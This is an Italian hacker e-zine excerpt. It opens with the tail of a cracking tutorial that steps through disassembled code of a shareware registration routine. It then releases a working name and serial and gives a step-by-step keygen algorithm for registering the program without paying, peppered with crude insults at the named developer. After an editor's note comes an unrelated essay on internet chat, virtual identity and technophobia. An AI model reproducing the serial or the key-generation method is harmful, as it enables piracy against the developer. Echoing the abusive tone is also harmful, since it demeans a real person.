a che vi fa pensare ... vediamo un p equivale a 32+13=45 ... facciamo ALT+45... un '-'... a che cosa gli serve ? vediamo un p...... 00412A49 lea ecx, [esp+40h+var_28] 00412A4D mov [esp+40h+var_10], edi 00412A51 call sub_43C084 Richiama questa call.. per ne ecx ed edi contengono uno straccio di codice che ci ritorna utile.. per mi sa tanto che questa storia del trattino non mi convince!!! 00412A56 mov edi, eax 00412A58 cmp edi, 0FFFFFFFFh 00412A5B jz loc_412C21 ECCO QUI... infatti come non detto.... il trattino... a quanto pare pure sto seriale diviso in due segmenti... quindi dobbiamo mettere 2 codici separati da un trattino!!! 00412A61 mov eax, [esp+3Ch+var_18] Ora eax tiene memorizzato la posizione del nostro nome! 00412A65 mov ecx, [eax-8] invece ecx tiene la lunghezza del nome, 6 per il nostro bell'autore!!! 00412A68 test ecx, ecx 00412A6A jz loc_412C21 00412A70 mov ecx, [esp+3Ch+var_1C] Qui ecx invece al posto della lunghezza prende le sembianze del cognome... 00412A74 mov eax, [ecx-8] e qui eax quelle del nome! 00412A77 test eax, eax 00412A79 jz loc_412C21 Per farla breve con due test s'assicura che abbiamo compilato i campi della registrazione! Ti fanculo ;) io ho messo il nome del tuo autore brutto deficente!!! Non lo potevi fare un bel rep cmpsb sul nome per vedere che il tuo e registrarti prima ? Vabb... mi vendico!!! 00412A7F lea edx, [esp+3Ch+var_28] Qui invece edx punta al nostro numero che abbiamo inserito!!! 00412A83 lea ecx, [esp+3Ch+var_20] 00412A87 push edx 00412A88 call sub_43B97E 00412A8D lea eax, [esp+3Ch+var_28] 00412A91 lea ecx, [esp+3Ch+var_24] 00412A95 push eax 00412A96 mov byte ptr [esp+40h+var_4], 3 00412A9B call sub_43B97E 00412AA0 lea ecx, [edi+1] ... qui m'era venuto un dubbio.. che cosa quel numero puntato da ecx ? Un seriale ? noo..... non quello... cattivo sei cattivo!!!! 00412AA3 lea edx, [esp+3Ch+var_14] 00412AA7 push ecx 00412AA8 push edx 00412AA9 lea ecx, [esp+44h+var_20] 00412AAD mov byte ptr [esp+44h+var_4], 4 00412AB2 call sub_435DE7 00412AB7 push eax Fermi tutti!!! EAX qui contiene un frammento del seriale... quello messo dopo del trattino... qui la cosa puzza!!!! 00412AB8 lea ecx, [esp+40h+var_20] 00412ABC mov byte ptr [esp+40h+var_4], 5 00412AC1 call sub_43BCF6 00412AC6 lea ecx, [esp+3Ch+var_14] 00412ACA mov byte ptr [esp+3Ch+var_4], 4 00412ACF call sub_43BC09 00412AD4 mov eax, [esp+3Ch+var_28] 00412AD8 lea ecx, [esp+3Ch+var_14] 00412ADC mov eax, [eax-8] 00412ADF sub eax, edi 00412AE1 dec eax 00412AE2 push eax 00412AE3 push ecx 00412AE4 lea ecx, [esp+44h+var_24] 00412AE8 call sub_435D6B 00412AED push eax 00412AEE lea ecx, [esp+40h+var_24] 00412AF2 mov byte ptr [esp+40h+var_4], 6 00412AF7 call sub_43BCF6 00412AFC lea ecx, [esp+3Ch+var_14] 00412B00 mov byte ptr [esp+3Ch+var_4], 4 00412B05 call sub_43BC09 00412B0A mov edx, [esp+3Ch+var_18] 00412B0E mov ecx, [esp+3Ch+var_1C] 00412B12 mov al, [edx] Allora se avrete notato ben ben lo scorrere dei vari registri vi sarete accorti durante lo step... (non fate il trace senn vi rincoglionite!!! rischiate di affondare dentro le funzioni del Visual C++) che il nostro nome e cognome stato convertito in maiuscolo.... ed ora il programmatore in EDX contiene il nome, mentre in ECX contiene il cognome! Ma ora sta caricando la prima lettera del nome!! Che ci vuol fare ? 00412B14 mov dl, [ecx] E con la prima del cognome ? Brutto deficiente che vuoi fare ? 00412B16 mov [esp+3Ch+var_29], al Lo voglio sapere... qui salva l'iniziale del nome!! Che vuoi fare ??? Dimmelo...... 00412B1A mov eax, [esp+3Ch+var_20] 00412B1E push eax 00412B1F mov [esp+40h+var_2A], dl 00412B23 call _atoi Hei.. ha convertito il nostro seriale iniziale ... la bestia 1638-666 in un intero!! Infatti ora EAX contiene 00000666h in esadecimale! La bestia!!! ;) Brutto zozzo... che vuoi fare ? Me lo dici ? Qui la cosa incomincia a puzzare.. qui prima o poi spunta il mio codice! 00412B28 movsx ecx, [esp+40h+var_2A] 00412B2D movsx edx, [esp+40h+var_29] Riprende le iniziali di cognome e nome... 00412B32 shl ecx, 8 Moltiplica l'iniziale del cognome per 256 (infatti la shifta a sinistra di 8 volte.. e se non lo sapete equivale a moltiplicare per 2 8 volte.. e quindi 2*2*2*2*2*2*2*2=256!) 00412B35 add ecx, edx Ei ma qui stiamo dando i numeri ? Al risultato zozzo ci sommi pure la prima del nome ? 00412B37 mov edx, dword_460270 Ei un'attimo che sto valore.... 10000h ... puzza di bruciato la cosa... 10000 non era sottoforma di stringa il mio ID che dovevo comunicare ? A si.. ok... allora mi sa tanto che quel'ID veniva espresso in ESADECIMALE!! 00412B3D add eax, edx Ma che sei scemo ? Mi sommi l'ID al mio primo seriale ? A si.. ma allora sei proprio scemo.... vabb! 00412B3F lea edi, [ecx+eax-8428h] Ei qui carica in edi una strana coppia... allora vediamo un p! ECX mi tiene il codice dato dal valore ascii della prima del nome * 256 sommato al valore ascii della prima del cognome, EAX contiene la somma dell'ID convertito in valore decimale alla prima parte del mio seriale! Tutti e due i valori vengono sommati a -33832, quindi cosa tiene EDI ? Provate ad indovinare... siiiiii bravissimi il nostro seriale!!!!! Si ma quale dei due frammenti ? 00412B46 mov eax, [esp+40h+var_24] 00412B4A push eax 00412B4B call _atoi Il 2. pezzo del seriale viene convertito in intero 00412B50 add esp, 8 00412B53 cmp edi, eax e viene confrontato!! E' esatto si o no ? 00412B55 mov edi, 1 Inteliggente... lo cancella quello esatto per non lasciare traccia.. ma l'hai lasciato troppo brutto deficente!!! Lo dovevi calcolare dopo _atoi mo la fai nel culo! 00412B5A jz short loc_412B60 So uguali ? Si.... allora salta senn l'avemo fatta a quel paese!! Bene a 00412B53 voi vi fate un bel ? EDI e vi verranno dati dei valori... prendete quel numero e avrete il vostro bel codice di registrazione.. in poche parole quello dell'autore per quanto riguarda me! Bye bye programma... sono un user registrato e non devo vedere la tua fottuta scheda di pubblicit!!! Brutto zozzo bastardo!!!!! Niente pi pubblicit!!! Qui l'articolo potrebbe essere finito.. ma chi di voi non ha SoftICE e soprattutto non conosce l'asm che cazzo deve fare per registrarsi ? Allora innanzitutto rilascio i seriali da me trovati: Nome: Henrik Cognome: Pfluger Seriale: 1638-53894 Ma cosa possiamo fare ? .... un bel keymaker!!!! Si non sar tanto difficile ( a questo momento una persona si sta rosicchiando il fegato.... dovevo solo dirgli come trovare il seriale... ma se gli faccio pure un keymaker mi sa tanto che se lo rosicchia per benino!!! non c'e' motivo d'arrabbiarsi Johnny!!! ;)) Allora vi spiego subito l'algoritmo, anche se troverete allegato all'articolo il keymaker! 1. Prendiamo in considerazione il Product ID datoci dal programma! 00010000 Convertiamolo in decimale... che equivale a 65536... ovvero 16bit tondi tondi! 2. Inseriamo un nome ed un cognome! Prendiamo la prima lettera del nome.. assicurandoci che sia maiuscola e la prima lettera del cognome, sempre maiuscola! Se inseriamo nome e cognome minuscolo convertite le iniziali in maiuscolo.... tipo h per Henrik e p per Pfluger, quindi noi dovremmo avere H e P. 3. Moltiplichiamo il valore ascii della prima lettera del cognome per 256 e sommiamo il valore ascii della prima lettera del nome. Es. P*256+H = 80*256+72 4. Prendiamo un numero fittizzio... compreso tra 1 e 655356, usate quello che vi pare... 666 1638 (la bestia in esadicimale!). 5. Sommate a questo numero fittizzio il vostro Product ID cio 65536 nel caso riportato da me (e nella stramaggioranza delle versioni!!!) 6. Ora sommate il valore del punto 3 e del punto 5 e addizzionateli al valore -33832 7. Avviate la schermata di registrazione: Inserite come iniziale di nome la lettera che avete scelto per il nome ed un nome a caso! Inserite come iniziale di cognome la lettera scelta ed il cognome pure a caso... Esempio: H posso mettere anche Hi o Henrik o Hawai P come Pfluger o Porcocanesefattoquasimezzogiorno Andate nella schermata di registrazione: Inserite il numero fittizzio, un trattino e il valore ricavato al punto 6. Es. 666-xxxxx dove xxxxx viene sostuito col numero! 8. Ancora non avete clickato sul pulsante per registrarvi ? A chi aspettate ? Che ve lo dica io ? E ma allora non tenete voglia di condurre un'attivit tutta per voi! Bene, se l'avete capito stavolta termina proprio qui!!! SIIII proprio qui!! Ringraziamenti: Il mio amico A.P. che mi ha chiesto di fare il keymaker.... e tempo fa mi aveva chiesto se potevo registrare questo programma... anche se ancora non mi ero accorto di come funzionava il keymaker.. piccoli incidenti di percorso... si migliora con la vecchiaia, come il vino ;) Johnny, per avermi chiesto di scrivere un tutorial su come crackarlo.... poraccio non c'era riuscito!! Latino ti ha interrogato ? ;) GEDEA a che punto sta ? Poi vedo come spedirti quel libro di 400 pagine sull'assembly.. Nobody88 che pubblicher anche questo tutorial.... ora gli sto monopolizzando la sua rivista che tra l'altro non leggo poi tanto... ;) Grazie per avermi dato del vecchio nella mail!!! M'ha detto che sono un veterano... in poche parole che so vecchio!!!! dibbe76 per l'invito che mi ha fatto... e gli ribadisco che poi vado da lui a crackare... riesco a stare lontano da un pc al massimo 48 ore.. poi sballo! Un saluto a: Tutti quelli che sanno chi sono.... em per favore sia nei miei e nei vostri interessi farci i FATTI NOSTRI (quelli che si vogliono fare I FATTI VOSTRI ... cio i NOSTRI so pregati di starne fuori!!) altrimenti qui io so ne guai.. mi licenziano pure ;) e la peggior cosa e che poi sbattono dentro pure voi! A Blu'eyes, uno dei tanti che ho conosciuto durante le fredde mattine in cui mi connettevo alle 5 per navigare e scaricare!!! Mi ha fatto piacere rivederlo in irc ;) NOTA: Io non mi assumo nessuna responsabilit per i danni che posso arrecare a HENRIK PFLUGER, la colpa non mia se commettete errori... UNA SECONDA NOTA: Ultimamente mi ero convinto che i miei paesani fossero migliorati, ma dal colloquio di ieri sera con uno di essi mi sono straconvinto che sono per la maggior parte na massa di deficenti cafoni! SOLO PERCHE' HO FATTO una ricerca su tutti gli IP che andavano da 0 a 255 .... e ne ho beccato qualcuno di qui... ma andate a fanculo!!! e-mail: billgates@microsoft.com per le proteste... cod@gurlmail.com se avete qualcosa da dirmi... altrimenti non scrivete che non vi rispondo! ore 12.05pm cod/e-ViP Vibo Valentia ۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰ NOTA DI N0bodY88 = il seguente articolo e' stato fatto dall'inimitabile [-W|NZ-] e se noterete sembra che sia un art di un giornale vero!!! Complimenti a [-W|NZ-] x questo ottimo articolo in cui ci sono cose nelle quali mi rispecchio al 100%... quindi...che dire...buona lettura :) ͻ Ŀ INTERATTIVITA' ٺ ͼ Quando (in un tempo non tanto lontano, ma che ormai mi sembra remoto) mi interessavo allo studio della pubblicita', mi chiedevo perche' su quell'argomen to si dicesse e si pubblicasse costantemente un cosi' straordinario ammasso di superficialita' e di sciocchezze (il fenomeno continua; anzi, tende a peggiorare). Mi rispondevo che era una specie di "contrappasso": la pubblicita' e' cosi' diffusa, onnipresente, visibile, ingombrante, che anche chi non ne ha la minima conoscenza si sente in dovere di dissertare in materia. Ora che il mio interesse principale e' la "comunicazione elettronica interatti va", e' ancora peggio. Quasi nessuno la conosce davvero (un italiano su mille, forse due, ne ha un'esperienza non superficiale) ma da due anni in qua e' l'argomento di moda: tutti ne parlano. O meglio, parlano di qualcosa che, per quanto ne so, non esiste, e che ha assai poco a che fare con la realta' della rete. Il motivo e' quel doppio vincolo Batesoniano, quel misto schizofrenico di attrazione e repulsione, che suscitano le cose nuove. Pare che quando, cent'anni fa, cominciavano a circolare le prime automobili, il mondo fosse percorso da un fremito di paura e da infinite leggende. Illustri professori spiegavano che un organismo umano non era in grado di sopravvivere alla velocita' di 25 chilometri all'ora. Ho sentito non meno illustri professori, al giorno d'oggi, dire cose non meno assurde sulla rete. La mancanza si una socializzazione sulla rete si puo' dividere, grosso modo, in due categorie. L'esagerazione teatrale o fantascientifica; e un'irrazionale, "tecnofobica" paura. Le due cose, naturalmente, si mescolano; e sono ugualmente nocive. I cibersogni Mi domando che idea possa farsi della rete una persona che non ne abbia esperienza personale e che guardi, un po' assonnata, una delle tante trasmissioni televisive che ci vogliono abbacinare con le presunte meraviglie del "ciberspazio"; o veda l'uso "miracolistico" della rete che ci viene mostra to in tanti film o raccontato sui giornali. Paesaggi "virtuali", spazi dadaisti, immagini surrealiste, un mondo onirico-ossessivo popolato non di esseri umani ma di androidi e robot che si muovono in uno spazio irreale. Certo: in rete si trovano anche quelle cose, come si trovano in qualsiasi libreria e in un'infinita' di storie a fumetti, di letteratura di tutti i tempi e di pitture anche piu' antiche di quelle di Hieronymus Bosch. Certo, c'e' una cultura "ciberpunk" che ha avuto e ha ancora un suo spazio nella rete, con infinite variazioni dal piu' ingenuo fumettismo alle geniali fantasie di William Gibson. Queste cose, insieme a migliaia di altre, sono nella rete. Ma non sono la rete, ne' sanno come descriverne il futuro. Con tutto il rispetto per quel genio che fu Jules Verne, nella storia della navigazione moderna c'e' tutto fuorche' il Nautilus del Capitano Nemo; e i viaggi sulla Luna sono molto diversi dalla sua descrizione, come da quelle di cento scrittori che l'hanno preceduto o seguito. In generale, credo che i ragionamenti sulla rete migliorerebbero se fossero definitivamente eliminate dal lessico tutte le parole che cominciano con "ciber" (o peggio con "cyber", che in italiano e' un errore di ortografia). Non per un banale o pedante formalismo - ma perche' quella terminologia tende a dare la falsa impressione che la rete sia un mondo separato e irreale. Perfino Nicholas Negroponte, spesso citato (non sempre a proposito) come il profeta di tutte le esagerazioni tecno-fantastiche, nel 1994 alla fine di di Being Digital scriveva: "vi prego di notare che in tutto il libro ho usato una sola volta la parola ciberspazio". Ecco un piccolo, e parziale, elenco dei sogni e delle "false promesse": "Virtuale" Non ho mai capito bene che cosa voglia dire "virtuale". La parola e' molto di moda, ma sembra che nessuno ne abbia una definizione chiara. Fin dalle origini della nostra specie viviamo in mondi "virtuali". Tutte le notti, in sogno; anche da svegli, nelle nostre fantasie. Tutta la letteratura, la musica, la pittura della storia umana non hanno mai fatto altro che trasportarci in luoghi e situazioni diverse dalla nostra vita "fisica" di tutti i giorni. Il confine fra sogno e realta' e' sempre stato molto meno nitido di quello che sembra. Che cos'e' una rappresentazione teatrale, con scene, costumi e effetti, se non un mondo "virtuale"? E, nello stesso modo ma con tecniche diverse, il cinema e la fotografia? O una carta geografica? Oggi ci sono nuove tecniche, consentite dall'informatica, per fare queste cose. Ma la sostanza non cambia; non piu' di quanto sia cambiata con l'invenzione, appunto, della fotografia o del cinema. Va detto anche che queste cose hanno assai poco a che fare con la rete, perche' spesso le troviamo non sull'internet, ma su un cd-rom (e quando, fra non molto, avremo dischi ottici con capacita' dieci o venti volte superiori a quelli attuali...). Soprattutto, occorre capire che la parte piu' significativa della rete non sta in queste, sia pure interessanti, esplorazioni artistiche, ma nella possibilita' che ci da' di raggiungere esperienze molto reali: fatti, opinioni, informazioni e persone. Che al primo incontro non possiamo vedere, ne' toccare; ma non per questo sono "virtuali". Sono persone come noi, in carne e ossa. vero: esistono macchine che consentono una "simulazione". Possono essere usate per gioco, o per motivi molto seri, come l'addestramento di un pilota d'aeroplano. Ma sono un piccolissimo dettaglio rispetto alle infinite applicazioni dell'informatica, e poco o nulla hanno a che fare con la rete. vero: esistono simulazioni tridimensionali che hanno applicazioni utili e serie, per esempio in architettura. Ma sono, appunto, funzionali, e non inutili barocchismi decorativi. vero: con le nuove tecniche possono nascere nuove espressioni artistiche, e la grafica del computer non e' solo un modo piu' veloce per fare le stesse cose che si facevano prima. Gia' ne abbiamo visto, abbondantemente, le applicazioni nel cinema. Ma siamo, credo, ancora nella fase "infantile", in cui ci si lascia trasportare dalla tecnica e si va alla ricerca del surrealista e del bizzarro; come accadde, per esempio, nel cinema ai tempi di Georges Me'lie's. C'e' molto da ragionare, del resto, su quali miracoli di fantasia si fecero allora nel cinema (pensiamo per esempio a Metropolis di Fritz Lang) con risorse tecniche che oggi sembrano paleolitiche. Un argomento, senza dubbio, affascinante; ma che poco o nulla ha a che fare con la rete, che di queste opere d'arte (se e quando lo siano davvero, non sempre e' facile giudicare) puo' essere al massimo il mezzo di trasporto. E quindi ecco arrivare l'argomento che interessa questo mio lavoro: le chat, i luoghi di conversazione in cui si "chiacchiera" e si scambiano opinioni in tempo reale. Ci sono anche chat internazionali (come IRC, Internet Relay Chat, con migliaia di room, "stanze", in tante lingue diverse, compreso l'italiano) in cui e' diffusa l'usanza di usare pseudonimi (alias o nickname) e quindi incarnare personalita' che possiamo inventare come meglio ci piace, presentandoci in una maniera del tutto nuova, in accordo a come gli altri costantemente ci generali zzano secondo gli stereotipi presenti in ogni societa'. In questi "salotti" si possono anche fare conversazioni serie, ma piu' spesso si scherza. Esistono anche centinaia di MUD (Multi-User Domain; o Multi-User Dungeon, dai tempi in cui era di moda un vecchio gioco, Dungeons and Dragons), e cose analoghe chiamate MUSE (Multi-User Simulated Environment), MOO (Mud, Object Oriented) o addirittura MUSH (Multi-User Shared Hallucination). Sono ambienti di gioco e immaginazione in cui persone diverse si incontrano in spazi immaginari, spesso fantastici o fantascientifici, e con identita' che costruiscono come meglio credono. Per alcuni questo non e' solo un gioco, ma una seconda realta', un "mondo" in cui possono muoversi con identita' diverse, con mille ruoli da interpretare e mille maschere da indossare. Ci sono anche i primi esperimenti di "siti" come Worlds Chat, in cui il gioco non e' piu' solo verbale, ma i luoghi sono rappresentati anche in modo visivo e il travestimento si realizza anche in un'immagine (avatar). Ma tutto questo e' solo un'evoluzione di usanze antiche, come le maschere di carnevale e i "giochi di ruolo"; anche questa e' solo una piccolissima parte di cio' che accade in rete; e comunque, per quanto spinto possa essere l'uso dell'immaginazione, cio' che incontriamo non e' quasi mai un robot; e' quasi sempre una persona reale, che sta divertendosi a incarnare una sua fantasia, mentre noi facciamo la stessa cosa. Questo sara' il tema del mio lavoro, un catarsi platonico continuo, uno sfogo virtuale ai nostri desideri piu' inconsci, interpretare quindi un ruolo sociale sempre in "retroscena" "Multimediale"Questa e' poco piu' che una parolina per venderci macchine piu' complesse di quelle che ci servono. Da che mondo e' mondo ci si esprime usando parole, musica e immagini. Non c'e' nulla di nuovo, se non che (se siamo bravi) possiamo divertirci a mettere insieme musica, immagini e parole usando il computer invece che il teatrino delle marionette. La verita' e' semplice: parecchi programmi, specialmente giochi, contengono immagini e musica. Per poterli usare abbiamo bisogno di una buona scheda video e probabilmente un cd-rom (l'una e l'altro ormai sono accessori standard) piu' una scheda musicale, che si trova facilmente a meno di duecentomila lire. I giochi piu' recenti sono talmente stracarichi di orpelli, spesso solo decorativi, da richiedere processori veloci e con abbondante memoria (RAM). Il che costringe molti a sostituire un computer perfettamente efficiente con una macchina di prestazioni piu' elevate solo per far giocare un bambino; cosa abbastanza assurda, perche' esistono molti ottimi giochi che non hanno bisogno di macchine particolarmente potenti. Insomma e' solo una speculazione commerciale.In tutt'altro significato, la parola "multimediale" viene intesa come la tendenza alla concentrazione di grandi imprese che con fusioni, acquisizioni e alleanze tendono a invadere tutti i territori, unendo "sotto un unico tetto" le cosiddette "quattro C": Computing, Communication, Content e Consumer. Sarebbe lungo approfondire i pro e i contro di questa strategia; ma e' molto probabile che queste mostruose concentrazioni tendano a riprodurre nella rete il vecchio modello della comunicazione a senso unico (uno parla, molti ascoltano) e quindi ad andare contro il valore piu' importante della rete: la reale interattivita' di cui parlo nella conclusione di questi ragionamenti.. "Tante immagini straordinarie sul tuo schermo" Con la nascita (recentissima) della World Wide Web, l'attenzione si e' concentrata sulle immagini. Ma una delle cose piu' deludenti, per chi si affaccia in rete pensando alle "immagini" (erotiche o non), e' scoprire con quale esasperante lentezza, specialmente con le non eccellenti connessioni che abbiamo in Italia, quelle immagini si formano sul monitor del nostro computer.Un giorno, forse, quando ci saranno davvero le "autostrade" e non i sentieri di cui oggi disponiamo, quando saranno normali collegamenti ISDN, schede digitali con una velocita' piu' che doppia rispetto ai modem di oggi (o le tecnologie che li sostituiranno), eccetera, la rete sara' anche un terreno di scambio di immagini. Oggi, e per il prevedibile futuro, lo strumento rimane quello che e' da sempre la base delle relazioni umane: la parola. Chi non trova nulla da leggere, o da scrivere, non rimane a lungo in rete." facile"Non e' del tutto vero. O meglio, le difficolta' sono diverse da quelle che ci aspettiamo. Fatta la prima installazione (per i non esperti e' meglio farsi aiutare da un tecnico) usare i programmi e collegarsi e' facile davvero. Non piu' difficile che imparare a usare un videoregistratore o un forno a microonde; molto piu' facile (e meno rischioso) che guidare un'automobile. Certamente piu' facile di quanto pensi che non ha faliliarita' con il computer, o di come si possa pensare se si ascoltano o si leggono le astruse dissertazioni dei tecnici o le fantastiche divagazioni di certi intellettuali. Ma la vera difficolta' non sta nelle tecniche di collegamento. Una volta affacciati in rete, si tratta di capire dove andare... solo una buona dose di pazienza e di curiosita' puo' far superare questo primo scoglio e guadagnare quella confidenza che non si puo' acquistare se non con l'esperienza pratica."Milioni, miliardi""Potrai incontrare in rete milioni di persone". Non e' vero. Basta pensarci un attimo per capire che nessuno di noi riesce a dialogare in modo comprensibile con piu' di qualche decina di persone. Chi ha un minimo di esperienza impara presto che "navigare" vuol dire scegliere: trovare i "siti" e le persone che ci interessano. Il che, all'inizio, non e' facile. Si impara solo con l'esperienza. La novita' c'e', ed e' davvero importante: possiamo dialogare tranquillamente con qualcuno che sta in Australia; e possiamo conoscere una persona interessante che magari abita a trecento metri da casa nostra ma che altrimenti non avremmo mai conosciuto. E qui entriamo davvero nella parte viva della rete...Quanto alle dimensioni... sono abbondantemente sovrastimate. Si parla di centinaia di milioni di persone, di un miliardo alla fine di questo decennio. Non e' vero; o non ancora. I numeri, per ora, sono molto piu' piccoli, anche se stanno gradualmente crescendo. Le tecnofobieLa lista sarebbe interminabile... ma ecco alcuni esempi delle "leggende negative" che circondano la rete, come hanno sempre circondato tutte le nuove tecnologie e, in generale, qualsiasi modo nuovo di pensare o di comportarsi. Per fortuna sono passati i tempi dei "diavoli di Laudun", se no qualche volta, ascoltando i commenti dei miei amici che non hanno pratica della rete, avrei l'impressione di rischiare il rogo...Il "cervello elettronico"Chi non ha mai usato un computer (o anche chi lo usa, ma solo per una specifica applicazione, come scrivere o fare i conti) ne ha una specie di mistico terrore. Conosco persone colte, intelligenti, aperte all'innovazione, che mi guardano con diffidenza quando scoprono che uso la "posta elettronica". C'e' una specie di "luddis mo culturale", rinforzato da quella vasta letteratura che va alla ricerca del pittoresco o del pauroso. C'e' il timore che un "cervello meccanico" finisca con l'impadronirsi della nostra povera mente biologica; che la nostra identita' si perda nel mondo "virtuale", che un'identita' estranea, un "avatar", si impadronisca della nostra anima...Se solo sapessero quanto sono stupidi, in realta', i computer e i "software" con cui siamo costretti a convivere...Si leggono articoli su una tale psicologa americana che ha scoperto una "sindrome da computer" (non piu' grave, o piu' frequente, di un attaccamento esagerato al flipper, al gioco del pallone o allo scopone scientifico). Si pensa "oddio, se il mio bambino tocca quel coso gli divorera' la mente". Certo se avessi un bambino piccolo non mi piacerebbe che giocasse a Doom (o a un altro dei giochi sanguinari e tenebrosi di cui c'e' stato fin troppo commercio); ma non lo lascerei neppure troppo tempo davanti a certi cartoni animati giapponesi o altri spettacoli violenti, o da incubo, che trasmettono in televisione. Ne' lo incoraggerei a leggere molti generi di cose che si trovano in libreria o nelle edicole. Ricordo che quand'ero bambino mi davano molto fastidio, talvolta mi spaventavano, certe scene di film, compresi i cartoni animati; e anche certe favole piene di orchi, di violenza e di bambini orribilmente torturati.Invece penso che faccia benissimo all'educazio ne di un bambino abituarsi all'uso di un sistema (non solo il computer, anche il modem, cioe' la rete) che purtroppo non gli insegnano a scuola e che, quando sara' grande, sara' diventato di uso comune. E anche giocare a uno dei tanti giochi che stimolano l'intelligenza e la fantasia o con uno dei tanti buoni (e spesso divertenti) "software" educativi che sono disponibili. Il Pregiudizio telematico: Pornografi, pedofili, criminali e terroristi Se badiamo a quello che scrivono i giornali, o ci dicono in televisione, la rete sembra un posto pericolosissimo, in cui si annidano non solo gli hacker (abitualmente dipinti molto peggio di quanto meritano) e i diffusori di "virus", ma anche mafiosi, terroristi, nazisti, pornografi , pedofili e criminali d'ogni sorta. Nessuno ha ancora detto (che io sappia) che in rete si fa la "tratta delle bianche" o il contrabbando di testate atomiche, ma mi aspetto di vederlo pubblicato da un giorno all'altro.Certo: ci sono, in rete, personaggi "poco raccomandabili". Come ci sono dovunque intorno a noi. La probabilita' di incontrarli e' minima; evitarli e' molto piu' facile che nella nostra vita di tutti i giorni, perche' una banda di malintenzionati "veri" incontrati in una strada buia non si puo' cancellare dalla faccia della terra semplicemente cambiando "sito" con la pressione di un tasto, o spegnendo il computer.La continua insistenza su questi temi "scandalistici" non e' solo cattiva informazione, ma e' un danno culturale. Perche' tiene lontane dalla rete molte persone civili e intelligenti, che farebbero meglio a esserci, per il bene loro e di tutti noi che in rete gia' siamo, e le incontreremmo volentieri. Perche' tende a consolidare la grave arretratezza dell'Italia in rete, rispetto a molti altri paesi. E perche' tiene lontani dalla rete molti bambini, che invece dovrebbero conoscerla, per arricchire la loro cultura e imparare a muoversi nel mondo in cui vivranno. Come difenderli dai "pericoli"? Semplicemente con la normale prudenza che e' comunque bene esercitare. Da che mondo e' mondo le mamme dicono alle bambine (e anche ai maschietti) "non accettare caramelle da uno sconosciuto". Basta aggiungere "non dare mai il tuo indirizzo di casa a qualcuno che non conosci". Lasciare un bambino da solo per troppe ore davanti a un computer, senza guardare a che gioco sta giocando, e' come abbandonarlo davanti alla televisione senza badare a che programma sta guardando; e certo meno rischioso che mandarlo all'asilo, all'oratorio o a scuola senza controllare che tipo e' la persona che se ne occupa." una fuga dalla realta', porta alla solitudine"Non e' vero. Se qualcuno per natura e' misantropo, forse puo' trovare un rifugio nella rete. Ma se c'e' in giro qualche persona cosi' dev'essere abbastanza rara, perche' in quattro anni di "navigazione" frequente non ne ho incontrata neanche una. Anzi, la maggior parte delle persone che frequenta la rete e' piuttosto socievole. Qualche volta ride e scherza, qualche volta litiga, ma ha sempre una forte spinta allo scambio, non solo di opinioni, ma anche di emozioni e sentimenti.Fra i messaggi piu' frequenti che si incrociano ci sono cose come "allora quando ci vediamo in pizzeria?" o, se si e' lontani, "quando passi dalle mie parti"? Un gruppo di "telematici" storici, che gira intorno a tre o quattro BBS a Milano, ha da anni un incontro fisso, tutti i giovedi', in un bar vicino alla Scala. E cosi', in un modo o nell'altro, succede dovunque. Sono pochissime le persone con cui ho "fatto amicizia" in rete e che non ho poi incontrato di persona. Con quelle poche, ci stiamo dicendo: "speriamo di riuscire a vederci presto". Certo, e' meno facile se una delle persone e' in India e l'altra e' in Italia: ma ci potete scommettere che se una delle due fara' un viaggio una delle prime cose che fara' sara' telefonare all'altra. Mentre scrivo queste righe, due persone che ho incontrato in rete (una sta a Barcellona, l'altra a Parigi) stanno organizzando un incontro di tutti e tre in Provenza "per bere un bicchiere di vino insieme".Insomma il tessuto fondamentale della rete non e' fatto di tecnologie, cavi, satelliti, macchine, programmi o protocolli. fatto di persone.La realta'Le reti "telematiche" esistono da quasi vent'anni. Ma il fenomeno di cui si parla oggi, genericamen te definito "internet", nella forma in cui lo conosciamo e' nato, in Italia, alla fine del 1994; e nel resto del mondo non molto prima. Ma che cos'e', questa internet? Qualcuno immagina che ci sia una struttura omogenea, una singola rete, chiamata "internet". Ma non e' cosi'. Le reti sono decine di migliaia, ognuna completamente autonoma.Un lettore attento potrebbe chiedermi: se Internet non e' un'unica rete, perche' la chiami "la rete"? Mi rendo conto dell'apparente contraddizione, ma e' abitudine diffusa chiamarla, famigliarmente, the Net, o "la rete". Perche' in pratica si comporta come se fosse una rete unica; e di fatto e' un unico sistema seamless, continuo e intercomunicante. Ma mi sembra importante capire che questo sistema e' policentrico, non ha un "governo" centrale; non solo ogni rete, ma ogni operatore e' libero e indipendente. Internet e' un sistema che permette a diverse reti di collegarsi fra loro, in modo che chi e' collegato a una delle reti puo' comunicare con chiunque sia collegato a una qualsiasi delle altre. In pratica da' a chi si collega la percezione di muoversi in un singolo sistema globale; e il servizio che da' e' proprio come se lo fosse.Non tutte le reti del mondo sono collegate al l'internet (e tantomeno tutti i computer); ma chiunque voglia farlo si puo' collegare al sistema.Soprattutto, questo sistema permette a ognuno di noi di trasmettere informazioni, idee e opinioni; non solo di riceverle. Siamo tutti, contemporaneamente, spettatori e protagonisti: il sistema ci permette di essere davvero, e totalmente, interattivi. Il sistema funziona su scala planetaria; non ha sede geografica, ne' confini. Si suddivide in comunita' che non dipendono dal luogo fisico ma sono definite, per aree di interesse e di argomento e per la natura dello scambio, dalla libera scelta di tutti coloro che usano il sistema.Diversita' e nomadismo: il nuovo ritorna all'antico? Mi sembrano interessanti alcuni aspetti della nuova "cultura elettronica" che possono permetterci di superare i limiti dell'era industriale e dell'era dei "mass media".Uno dei peggiori difetti della societa' in cui viviamo e' la tendenza all'omogeneita'. Il passaggio all'era industriale, ampiamente deliniatoci dai lavori di Durkeim sulla solidarieta' e Tonnies sulla distinzione tra Gemeinshaft e gesellschaft ha portato alla "produzione in serie". Abbiamo molta piu' scelta, molte piu' cose sono accessibili; ma sono standardizzate, ripetitive, alienanti..Abbiamo piu' vestiti, ma nonostante le bizzarrie della moda sono tutti uguali.L'era della produzione di massa e dei "mass media" porta all'omogeneizzazione della cultura. Potremmo essere sulla soglia di un cambiamento.Gia' nella scrittura qualcosa e' cambiato. Scrivere a macchina voleva dire usare un unico carattere, sempre della stessa grandezza. Non c'era piu' calligrafia, ne' la possibilita' di scrivere piu' grande o piu' piccolo, piu' chiaro o piu' scuro, collocare le parole diversamente sulla pagina, inserire qua e la' una freccia o un disegno. Con un computer, tutto questo e' di nuovo possibile; possiamo scegliere fra centinaia di caratteri, cambiarne la dimensione come ci pare, 